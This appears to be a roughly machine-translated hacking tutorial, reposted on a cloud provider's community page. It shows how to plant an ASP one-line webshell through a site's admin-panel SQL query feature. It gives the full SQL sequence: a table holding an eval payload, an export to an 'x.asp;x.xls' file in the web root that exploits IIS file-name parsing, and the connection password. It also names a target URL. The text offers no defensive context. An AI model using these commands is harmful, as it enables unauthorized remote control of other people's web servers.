Use the background SQL query statement to get webshell

Source: Internet
Author: User

Today, my friend gave me a fun background
 
SQL query
 
 
 
You can get the physical path of the website on the home page of the background or back up something. I did not upload a horse here. I directly clicked back up the database. The key point is to get the physical path, or a variety of explosive physical paths, but also depends on luck and freedom to play
 
Take the following webshell steps
 
First code
 
 
Create table cmd (a varchar (50 ))
Code 2
 
 
Insert into cmd (a) values ('<% eval request ("yun") %> ')
Code 3
 
Select * into [a] in 'd: \ wwwroot \ wjqcad \ admin163 \ Databackup \ x.asp;x.xls '''excel 4.0; 'from cmd
Code 4
 
 
Drop table cmd
Directly connect http://www.bkjia.com/x.asp;x.xls one-sentence password is yun

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.